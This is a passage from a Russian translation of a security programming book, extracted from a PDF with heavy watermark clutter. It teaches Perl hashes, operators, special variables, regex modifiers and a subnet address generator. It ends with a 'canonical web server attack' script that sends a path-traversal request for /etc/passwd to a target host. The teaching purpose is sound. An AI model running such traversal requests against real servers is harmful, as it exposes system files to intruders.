Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Примечание

Язык Perl

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

81

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

В предыдущем примере на печать выведена строка «gabe», а не «marshall», поскольку нумерация элементов в массиве начинается с [0][0], а не с [1][1].

Хэши, или ассоциативные массивы позволяют хранить данные в массиве, индексированном строкой, а не числом. В массиве, инициализированном, как это показано в примере 1.26, хранятся строки и соответствующие им числовые данные.

Пример 1.26. Хэши

@jobs = ("Coder", 21, "Programmer", 24, "Developer", 27);

Искать элемент в таком массиве можно, указывая вместо числового индекса строку. В примере 1.27 первая строка возвращает значение 27, вторая – 24, а третья – 21.

Пример 1.27. Задание строки для извлечения данных из ассоциативного массива

$jobs{"Developer"}; $jobs{"Programmer"}; $jobs{"Coder"};

В Perl есть средства для преобразования списков в хэши и наоборот. Это особенно полезно, когда надо извлечь сразу несколько значений или перебрать все элементы хэша. В следующем фрагменте код в строке 1 преобразует хэш в список, а код в строке 3 выполняет противоположную операцию. В строке 2 мы ссылаемся на третий элемент массива, равный 24, как следует из предыдущего примера.

1 @staticjobs = %jobs;

2 $staticjobs[3];

3 %jobscopy = @staticjobs;

Обратите внимание, что префиксы %, @ è $ обозначают разные типы данных. Крайне важно при обращении к конкретному типу указывать правильный префикс.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

82 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df

 

 

n

 

Операторы

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Âязыке Perl есть пять категорий операторов: арифметические, присваивания, логические, сравнения и строковые. Операторы применяются для инициализации, сравнения, вычислений и модификации выражений или переменных.

Âтаблице 1.1 перечислены арифметические операторы, имеющиеся в Perl.

Таблица 1.1. Арифметические операторы в Perl

Оператор

Назначение

Пример

+

Возвращает сумму двух переменных

$education +

 

 

$experience

Возвращает разность двух переменных

$education –

 

 

$experience

*

Возвращает произведение двух

$num1 * $num2

 

переменных

 

/

Возвращает частное от деления одной

$num1 / $num2

 

переменной на другую

 

%

Возвращает остаток от деления одной

$num1 % $num2

 

переменной на другую

 

**

Возвращает результат возведения

$num1 ** $num2

 

в степень

 

Операторы присваивания применяются для инициализации и манипулирования скалярными переменными, но не массивами. Будучи похожи на арифметические операции, операторы присваивания записывают в имеющийся скаляр новое значение с помощью одного-единственного выражения. Например, если исходное значение скаляра $number равно 5, то в результате вычисления выражения $number += 2; ему будет присвоено значение 7. В таблице 1.2 перечислены все операторы присваивания.

Таблица 1.2. Операторы присваивания в Perl

Оператор

Назначение

Пример

=

Присваивает значение переменной

$num1 = 10

 

 

$gabe = «red»

++

Увеличивает значение переменной на 1

$num1++

 

 

++$num1

Уменьшает значение переменной на 1

$num1—

 

 

—$num1

+=

Увеличивает значение переменной на

$num1 += 10

 

указанную величину и присваивает

 

 

переменной новое значение

 

=

Уменьшает значение переменной на

$num1 = 10

 

указанную величину и присваивает

 

 

переменной новое значение

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

g

.c

 

1.2.

 

 

p

 

 

 

 

 

 

 

 

 

 

 

-xchТаблицаa

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

Язык Perl

Операторы присваивания в Perl (окончание)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

83

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Оператор

Назначение

Пример

*=

Умножает значение переменной на

$num1 *= 10

 

указанную величину и присваивает

 

 

переменной новое значение

 

/=

Делит значение переменной на

$num1 /= 10

 

указанную величину и присваивает

 

 

переменной новое значение

 

**=

Возводит значение переменной

$num1 **= 3

 

в указанную степень и присваивает

$num2 = (3 **=

 

переменной новое значение

$num1)

%=

Делит значение переменной на

$num1 %= 10

 

указанную величину и присваивает

 

 

переменной значение, равное остатку

 

 

от деления

 

x=

Повторяет строку заданное число раз

$jim x= 10

 

и присваивает получившееся значение

 

 

исходной переменной

 

.=

Конкатенирует (сцепляет) две строки,

$jim .= «my» $jim .=

 

дописывая вторую в конец первой

$foster

Выражения, в которых встречаются логические операторы, чаще всего употребляются в начале той или иной управляющей структуры для выяснения того, по какому пути должно продолжиться исполнение программы. Оператор вычисляет значения двух выражений или переменных и возвращает true или false. В таблице 1.3 описаны все три логических оператора.

Таблица 1.3. Логические операторы в Perl

Оператор

Назначение

Пример

&&

Возвращает true, если оба выражения

($x==1) && ($y==1)

 

истинны

 

||

Возвращает true, если хотя бы одно их

($x==1) || ($y==1)

 

двух выражений истинно

 

!Возвращает true, если выражение ложно !($cat == $dog)

Во многих программах для проверки и оценки различия между величинами применяются операторы сравнения. Важно понимать, что все операторы сравнения возвращают булевское значение: true или false. В таблице 1.4 пере- числены операторы сравнения для числовых и строковых величин.

Таблица 1.4. Операторы сравнения в Perl

Для чисел

Для строк

Назначение

Пример

==

eq

Возвращает true, если

$num1 == $num2

 

 

значения равны

$foo eq «bar»

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

84 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

 

 

 

 

Таблица 1.4. Операторы сравнения в Perl (окончание)

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Для чисел Для строк Назначение

Пример

!=

ne

Возвращает true, если

 

 

значения не равны

>

gt

Возвращает true, если первое

 

 

значение больше второго

<

lt

Возвращает true, если первое

 

 

значение меньше второго

>=

ge

Возвращает true, если первое

 

 

значение больше или равно

 

 

второму

<=

le

Возвращает true, если первое

 

 

значение меньше или равно

 

 

второму

$num1 != $num2 $foo ne «bar» $num1 > $num2 $foo gt «bar» $num1 < $num2 $foo lt «bar» $num1 >= $num2 $foo ge «bar»

$num1 <= $num2 $foo le «bar»

Строковые операторы полезны для модификации и поиска внутри строки. Помимо операторов для поиска, сопоставления с образцом и замены к вашим услугам различные виды регулярных выражений. В таблице 1.5 пере- числены строковое операторы в языке Perl.

Таблица 1.5. Строковые операторы в Perl

Оператор Назначение

Пример

xПовторяет строку указанное число раз

index()

Возвращает смещение указанной

 

подстроки относительно начала строки

substr()

Возвращает подстроку указанной строки,

 

начинающуюся с указанного смещения

$foo x $bar

$in = index($foo, $bar); substr($foo, $in, $len);

Пример Perl3сценария

Пример 1.28 содержит 35 строк кода и служит для генерирования списка IPадресов, получающегося в результате анализа адреса тестируемой подсети. Поскольку Perl-сценарии почти никогда не имеют графического интерфейса, то разбор командной строки оказывается весьма важной задачей. Диапазоны разбирать традиционно трудно, поскольку они содержат несколько компонентов, для выделения которых нужно приложить немало усилий. А если не проявлять должной аккуратности, легко допустить ошибку.

Пример 1.28. Разбора IP*адреса подсети, указанного в командной строке

1 #!/usr/bin/perl

2if(@ARGV<2){print "Usage: $0 <network> <port>\nExample: $0 10.*.*.* 80 or 10.4.*.* 80 or 10.4.3.* 80\n";exit;}

3 else{

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

use IO::Socket;

 

 

 

df-xchan4

 

 

5$sIP="@ARGV[0]";

6$port="@ARGV[1]";

7($ip1,$ip2,$ip3,$ip4)=split(/\./,$sIP);

8 if($ip2 eq '*')

Язык Perl

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

85

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

9{$ip2=1;$ip3=1;$ip4=1;$x='a';print "Сканирование сети класса A\n";}

10elsif($ip3 eq '*')

11{$ip3=1; $ip4=1; $x='b'; print "Сканирование сети класса B\n";}

12elsif($ip4 eq '*')

13{$ip4=1; $x='c'; print "Сканирование сети класса C\n";}

14

15while($ip2<255 && $x eq 'a')

16{

17while($ip3<255 && ($x eq 'a' || $x eq 'b'))

18{

19while($ip4<255)

20{

21$ipaddr="$ip1.$ip2.$ip3.$ip4";

22print "$ipaddr\n";

23#IP_connect($ipaddr);

24$ip4++;

25}

26$ip4=1;

27$ip3++;

28if($x eq 'c') {$ip3=255; $ip2=255;}

29}

30$ip4=1;

31$ip3=1;

32$ip2++;

33if($x eq 'c' || $x eq 'b') {$ip3=255; $ip2=255;}

34}

35}

Анализ

Строка 1 часто используется в Perl-сценариях на платформе UNIX и Linux для указания того, где искать сам интерпретатор Perl. Почти во всех дистрибутивах для Win32 она не нужна. В строке 2 проверяется, что сценарию передано по меньшей мере два аргумента, а если это не так, то на STDOUT выводится сообщение о порядке запуска.

Âстроках 5 и 6 аргументы, указанные в командной строке, копируются

âпеременные. Отметим, что до начала разбора никакого контроля значений аргументов не производится. Это сделано сознательно, поскольку основная цель данного упражнения – показать, как увеличить IP-адрес.

Âстроке 6 вызывается функция split, которая разбивает переданный IP-адрес

на четыре целых числа, которые можно увеличивать независимо друг от друга.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

86 Глава 1. Написание безопасных программ

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

Строки 8–13 приведены из эстетических соображений, в них печатается-x cha

 

 

 

 

 

класс анализируемой сети, определяемый на основе числа звездочек в адресе. Оставшаяся часть программы состоит из вложенных циклов, внутри которых IP-адрес увеличивается, пока не будет исчерпан весь диапазон. В переменной $ip4 хранится последний из четырех октетов IP-адреса. Так, для адреса 10.9.5.123 последним октетом будет 123. $ip4 увеличивается в самом внутреннем цикле; когда будет достигнуто значение 255 (строка 19), происходит переход к следующей итерации объемлющего цикла, начинающегося в строке 17. В этом цикле увеличивается октет $ip3, если анализируемая сеть принадлежа-

ла классу A или B.

Строка 23 закомментарена и приведена лишь для того, чтобы показать, как легко можно было бы использовать сгенерированные IP-адреса. Самый внешний цикл исполняется лишь тогда, когда сеть принадлежит классу A. Обратите внимание, что в нем увеличивается второй, а не первый октет.

Специальные переменные

В языке Perl имеется также набор «специальных переменных». В них хранится динамически обновляемая информация о текущем экземпляре сценария и среде его выполнения. К специальным относятся, в частности, следующие переменные:

$0. Содержит имя исполняемого сценария, это бывает полезно, когда нужно упомянуть имя в сообщении или при разветвлении процесса;

$_. Часто используется при поиске и сопоставлении с образцом для строк, читаемых из стандартного ввода;

$/. Значение этой переменной содержит строку, используемую как разделитель записей во входном потоке. По умолчанию оно равно символу новой строки \n;

@ARGV. Массив ARGV содержит аргументы сценария, заданные в командной строке. Так, $ARGV[0] – это первый аргумент;

@INC. В отличие от описываемого ниже ассоциативного массива %INC, этот список содержит перечень каталогов, в которых ищутся включаемые с помощью функций do è require файлы;

%INC. Ассоциативный массив %INC содержит перечень всех включаемых файлов, которые нужны текущему сценарию для успешной компиляции и выполнения;

%ENV. Как и во многих других языках программирования, хэш %ENV содержит все переменные окружения;

STDIN. Является ссылкой на стандартный входной поток. Обычно это управляемая человеком консоль, и в этом случае признаком конца фай-

ла является нажатие предопределенной комбинации клавиш;

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Язык Perl 87

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

-x cha

 

.c

 

STDOUT. Является ссылкой на стандартный поток вывода. Почти во

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

всех случаях это окно команд на платформе Win32 или локальная оболочка в UNIX;

STDERR. Является ссылкой на стандартный поток для вывода ошибок. Часто используется для печати отладочной информации и сообщений об ошибках.

Описанные выше переменные STDxxx дают прекрасный пример инкапсуляции системных зависимостей. Например, в системах UNIX и Linux печать на STDOUT соответствует выводу в стандартную оболочку (shell), а в среде Microsoft Win32 – выводу в окно команд.

Сопоставление с образцом и подстановка

Постоянно и вполне заслуженно превозносимый механизм регулярных выражений в Perl превосходит имеющиеся в других языках аналоги, когда дело доходит до поиска в строках и сопоставления строк с образцом. В Perl встроены две важных функции: match (сопоставление) и subst (подстановка). Обе исключительно просты в использовании. Функция сопоставления принимает два аргумента: строку, в которой производится поиск, и искомый образец. Функция подстановки принимает те же два аргумента, а также строку, которую нужно подставить вместо найденного образца:

match($str, $pattern)

subst($str, $pattern, $substitution)

Помимо двух вышеупомянутых функций есть три вида сокращенной нотации. В приведенном ниже примере в первой строке проверяется, есть ли образец «hacker» в строке, хранящейся в переменной $code. В следующей строке, напротив, проверяется, что переменная $code не соответствует образцу «hacker» (в ней нет такой подстроки). Наконец, в третьей строке вместо подстроки «hacker» подставляется строка «cracker».

$code =~ m/hacker/; $code !~ m/hacker/;

$code =~ s/hacker/cracker/;

Следующее выражение соответствует любой латинской букве в верхнем или нижнем регистре.

/[A-Za-z]/

А это выражение соответствует всем строчным буквам и цифрам:

/[0-9a-z]/

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

88 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df

 

 

n

 

Модификаторы регулярных выражений

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ниже приведен список модификаторов регулярных выражений в языке Perl:

/e. Сообщает, что правую часть регулярного выражения, например, в конструкции s/// необходимо вычислять во время выполнения, а не компиляции;

/ee. Аналогичен предыдущему с тем отличием, что строка справа от s/// должна быть сначала скомпилирована, а затем выполнена как код;

/g. Указывает, что необходимо найти все вхождения образца, а не останавливаться на первом;

/i. Сообщает, что при сопоставлении не следует учитывать регистр букв;

/m. Помогает при поиске в строках, содержащих внутри символы \n; интерпретирует метасимвол ^ так, чтобы он соответствовал образцу перед символом новой строки, а символ $ так, чтобы он соответствовал образцу после символа новой строки;

/o. Информирует о том, что регулярное выражение должно быть откомпилировано только один раз;

/s. Аналогичен /m, также помогает при поиске в строке с внутренними символами \n. Настраивает метасимвол '.' так, что он соответствует символу новой строки. Кроме того, включает режим игнорирования устаревшей переменной $*;

/x. Обычно используется для включения в регулярное выражение игнорируемых пробелов и комментариев. Хотя применяется и не часто, но способствует созданию понятного и хорошо документированного кода.

Канонические инструменты, написанные на Perl

В этом разделе мы продемонстрируем на примере нескольких сценариев некоторые наиболее важные и широко применяемые средства языка Perl. Профессионалы в области информационной безопасности часто пишут на Perl программы, доказывающие жизнеспособность той или иной идеи, когда не требуется особая эффективность, создают «эксплойты», утилиты для тестирования других программ и выявления уязвимостей в Web-приложениях, а также сложные инструменты на базе регулярных выражений. Как и в случае большинства других интерпретируемых языков, Perl-сценарии не могут быть в полном смысле откомпилированы, то есть превращены в двоичную форму. Компилируемые языки позволяют несколько повысить безопасность за счет того, что восстановить исходный текст программы нелегко.

Однако существует несколько программ для «компиляции» Perl-сценари- ев, точнее для превращения их в непосредственно исполняемые приложения. По большей части в них используется техника обертывания, когда базо-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Язык Perl

89

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

-x cha

 

 

.c

 

 

 

p

 

-xchâûåa

 

библиотеки Perl и динамически загружаемые библиотеки (DLL) упако-

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вываются в один файл вместе с одним или несколькими сценариями. В результате во время исполнения такого файла весь язык загружается в память вместе со сценарием. Основной недостаток такого подхода в размере исполняемого файла, он весьма велик из-за тех файлов, которые должны быть включены в «упаковку».

Из самых известных компиляторов Perl можно назвать:

ActiveState Perl Development Kit (www.activestate.com);

PerlCC (http://www.perl.com/doc/manual/html/utils/perlcc.html).

Яумею писать на Perl!

Приведенный ниже крохотный сценарий – это не что иное, как модифицированная программа «Здравствуй, мир». Он призван лишь дать представление о синтаксисе языка. Средняя строка – это комментарий.

#! /usr/local/bin/perl

# Мой первый сценарий

print ("Я умею писать на Perl!");

Каноническая атака на Web-сервер

Атаки на Web-серверы, написанные на Perl (их обычно называют CGI-хак), – один из простейших видов «эксплойтов». Для любой уязвимости, которая может быть атакована с помощью ввода универсального идентификатора ресурса (URI) в адресной строке браузера, легко написать соответствующий сценарий на Perl.

Пример 1.29. Каноническая атака на Web*сервер

1 #! /usr/local/bin/perl

2 # Каноническая атака на Web-сервер

3 use IO::Socket;

4 use strict;

5 print "\nПрочтите для начала\n\n";

6 print "Порядок вызова: canonical.pl target_ipaddress \n";

7 my $host = $ARGV[0];

8 my $port = 80;

9 my $attack_string = " GET /cgi-bin/bad.cgi? q=../../../../../../../../../../../etc/passwd%00\n\n";

10my $receivedline;

11my @thedata;

12my $tcpval = getprotobyname('tcp');

13my $serverIP = inet_aton($host);

14my $serverAddr = sockaddr_in(80, $serverIP);

15my $protocol_name = "tcp";

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

90 Глава 1. Написание безопасных программ

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

16 my $iaddr = inet_aton($host) ||

die print("Ошибка при задании адреса хоста: $host");

17 my $paddr = sockaddr_in($port, $iaddr) ||

die print("Ошибка при задании целевого порта или адреса");

18 my $proto = getprotobyname('tcp') ||

die print("Ошибка при поиске протокола для соединения с сокетом");

19 socket(SOC, PF_INET, SOCK_STREAM, $proto) || die print("Ошибка при создании сокета!");

20 connect(SOC, $paddr) ||

die print("Ошибка при установлении соединения!");

21 send(SOC,$attack_string,0);

22 @thedata=<SOC>;

23 close (SOC);

24 print "Получены следующие данные:\n";

25 foreach $receivedline(@thedata)

26 {

27 print "$receivedline";

28 }

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

